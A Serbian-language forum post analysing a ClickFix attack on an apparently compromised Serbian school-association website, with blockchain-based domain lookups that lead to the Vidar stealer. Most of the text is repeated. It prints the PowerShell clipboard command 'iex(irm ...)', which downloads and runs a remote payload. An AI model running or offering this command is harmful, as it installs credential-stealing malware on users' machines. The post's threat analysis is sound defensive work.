2 hours ago
Sajt udruženja tekstilnih i kožarskih škola Srbije koji na dnu strane ima Copyright 2015 - 2017 ukazujući na manjak ažuriranja
Ali u ovom trenutku clickfix ne funkcioniše jer su svi relevantni domeni suspendovani a pametni ugovor nije ažuriran sa novima...
kad se klikne...
u pozadini pre prikazivanja clickfix stranice traži od polygon blokčejna domen za payload...
dobije thu-ipad-03 .cfd koji je suspendovan.
Dalje traži fallback domen od drugog blokčejna:
ovde dobije mon-blanc-02 .cfd koji je takođe suspendovan
pošto i to ne radi izgleda da ima kodiran fiksni domen koji stavi u klipbord :
I ovaj domen je suspendovan te dalje nisam mogao istražiti
Prema VT payload je identifikovan kao Vidar stealer: https://www.virustotal.com/gui/file/5531.../detection
Ali u ovom trenutku clickfix ne funkcioniše jer su svi relevantni domeni suspendovani a pametni ugovor nije ažuriran sa novima...
kad se klikne...
u pozadini pre prikazivanja clickfix stranice traži od polygon blokčejna domen za payload...
dobije thu-ipad-03 .cfd koji je suspendovan.
Dalje traži fallback domen od drugog blokčejna:
ovde dobije mon-blanc-02 .cfd koji je takođe suspendovan
pošto i to ne radi izgleda da ima kodiran fiksni domen koji stavi u klipbord :
Code:
iex(irm 'https://copiose.org/lom/62a9405c9735a1a7' -UserAgent 'WUA/8382bc918d' -Headers @{'X-WUA'='8382bc918d'})I ovaj domen je suspendovan te dalje nisam mogao istražiti
Prema VT payload je identifikovan kao Vidar stealer: https://www.virustotal.com/gui/file/5531.../detection